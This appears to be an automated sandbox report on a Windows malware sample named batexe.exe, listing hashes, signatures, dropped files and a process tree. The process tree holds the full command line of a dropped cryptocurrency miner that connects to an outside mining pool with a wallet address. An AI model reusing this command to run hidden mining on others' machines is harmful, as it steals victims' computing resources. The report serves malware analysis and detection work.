73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
300s
platform
windows10-1703_x64
resource
win10-20231215-ja
resource tags

arch:x64arch:x86image:win10-20231215-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
13/02/2024, 17:47

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
1188	b2e.exe
4576	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4576	cpuminer-sse2.exe
4576	cpuminer-sse2.exe
4576	cpuminer-sse2.exe
4576	cpuminer-sse2.exe
4576	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2660-4-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2660 wrote to memory of 1188	2660	batexe.exe	75
PID 2660 wrote to memory of 1188	2660	batexe.exe	75
PID 2660 wrote to memory of 1188	2660	batexe.exe	75
PID 1188 wrote to memory of 2968	1188	b2e.exe	76
PID 1188 wrote to memory of 2968	1188	b2e.exe	76
PID 1188 wrote to memory of 2968	1188	b2e.exe	76
PID 2968 wrote to memory of 4576	2968	cmd.exe	79
PID 2968 wrote to memory of 4576	2968	cmd.exe	79

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2660
- C:\Users\Admin\AppData\Local\Temp\9E63.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\9E63.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\9E63.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1188
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\A018.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2968
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4576

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\9E63.tmp\b2e.exe

Filesize
11.0MB

MD5
067df363a14c89ab779d7972046a50cf

SHA1
a4ed6fd98ad405abcf0f48b0bf4b6bf14b803a3a

SHA256
d16eac72a7bd92a8f23570eba3e697ebff728c533b2b066cff33bdedec590d6f

SHA512
7c86802cb794ed977777ba73376c933a8ec4205c97f12f8b0c89a02c248816d905c3addab14c45076a8e6d186d1c66fde2a1060d00a8ec3d7cce3a3f417ef6d3

Download Submit
C:\Users\Admin\AppData\Local\Temp\9E63.tmp\b2e.exe

Filesize
12.6MB

MD5
3213d587c2a04cd424a3947b0fa5c6cd

SHA1
4cadd189652a7929af3ba2331bcdd16ef9eec6b0

SHA256
fe936471f1d2c323666984b931ae960a435fb3540d0e1b451f64d48f8921ff58

SHA512
d8fef5c7d408c4725cff1838af74e25335dedd588a33791ffab5c5d2e08a5144f0d6e94fdae9b6510ba792f50f0a16e39b64877047ca2618d8f46bddb7fa329e

Download Submit
C:\Users\Admin\AppData\Local\Temp\A018.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
6.3MB

MD5
a9e931016e7261d2fb78467ec27a6d99

SHA1
fbf51b78e3452d32766431917e56b8414a10ff34

SHA256
3b0cc6c2517a24fc297e1ef8270dd3758570d38b1819ae8c43a56a6784fcd65c

SHA512
5e0cf08fee9f465c21f0d4c486489c683faf96eb7b5fb4558e2bec643ca5e5eec9e6bfddcab0f14c995d6ec512221b873cbde779dbc7e9d2a969a8c5bb61998d

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
10.0MB

MD5
56eec0d67c71c150d7163992afda0370

SHA1
f12e8336440cdfa373132ab8cdd58f4e37319f30

SHA256
8db8970eb32ab43f75f465e99a51d62bbe363987b7bc444bac63a3e53dcdf8b7

SHA512
512aa21f11af848803506b9d57a9ea052bf074df817c22230d90b6fd84dd3fc638b3572ca3ce9fb69b4139dc8898c14b02eff20e6506019e9651f90bc749bbbe

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
8.2MB

MD5
dfe12accfd1a459565c53dcd1f4cd2b5

SHA1
ac5f1328d10b4b17309c16a8071e4c351286121e

SHA256
aaa231b75b4b55b9d4615c696472f515c2ddc9a2ec825992430ac8df0a98fd4d

SHA512
3a708a69db57d2228835e0f013ee962190cc976ca7d01706b825278acbcde80b109a8d7763fc8a777aabc91e44af952766fd73a950f1014e619f8d64bed5033a

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/1188-6-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/1188-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2660-4-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/4576-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4576-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4576-43-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4576-44-0x0000000000D40000-0x00000000025F5000-memory.dmp

Filesize
24.7MB

Download
memory/4576-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4576-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4576-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4576-42-0x0000000071810000-0x00000000718A8000-memory.dmp

Filesize
608KB

Download
memory/4576-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4576-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4576-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4576-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4576-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4576-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4576-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download